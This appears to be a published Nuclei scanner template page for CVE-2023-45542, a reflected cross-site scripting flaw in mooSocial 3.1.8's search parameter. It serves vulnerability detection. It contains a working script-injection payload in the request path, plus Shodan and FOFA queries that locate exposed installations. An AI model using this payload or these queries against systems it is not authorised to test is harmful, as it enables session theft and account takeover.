MooSocial 3.1.8 - Cross-Site Scripting

ID: CVE-2023-45542

Severity: medium

Author: r3Y3r53

Tags: cve2023,cve,xss,moosocial

Description

A reflected cross-site scripting (XSS) vulnerability exisits in the q parameter on search function of mooSocial v3.1.8 which allows attackers to steal user’s session cookies and impersonate their account via a crafted URL.

YAML Source

id: CVE-2023-45542

info:
  name: MooSocial 3.1.8 - Cross-Site Scripting
  author: r3Y3r53
  severity: medium
  description: |
    A reflected cross-site scripting (XSS) vulnerability exisits in the q parameter on search function of mooSocial v3.1.8 which allows attackers to steal user's session cookies and impersonate their account via a crafted URL.
  reference:
    - https://github.com/ahrixia/CVE-2023-45542
    - https://nvd.nist.gov/vuln/detail/CVE-2023-45542
    - https://github.com/nomi-sec/PoC-in-GitHub
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2023-45542
    cwe-id: CWE-79
    epss-score: 0.00082
    epss-percentile: 0.34845
    cpe: cpe:2.3:a:moosocial:moosocial:3.1.8:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: moosocial
    product: moosocial
    shodan-query: http.favicon.hash:"702863115"
    fofa-query: icon_hash="702863115"
  tags: cve2023,cve,xss,moosocial

http:
  - method: GET
    path:
      - "{{BaseURL}}/search/index/?q=test%22%3e%3cscript%3ealert(document.domain)%3c%2fscript%3etest"

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "text/html")'
          - 'contains_all(body, "<script>alert(document.domain)</script>", "mooSocial")'
        condition: and
# digest: 490a0046304402207d08820a05d826ed0a6bdc572fe1afcfb63d6822183ef65038af317dc4fa9221022037a4e00eb5d02535daab9f70d66baeca1e7979b8df8c50803e38664946fd3443:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2023/CVE-2023-45542.yaml"

View on Github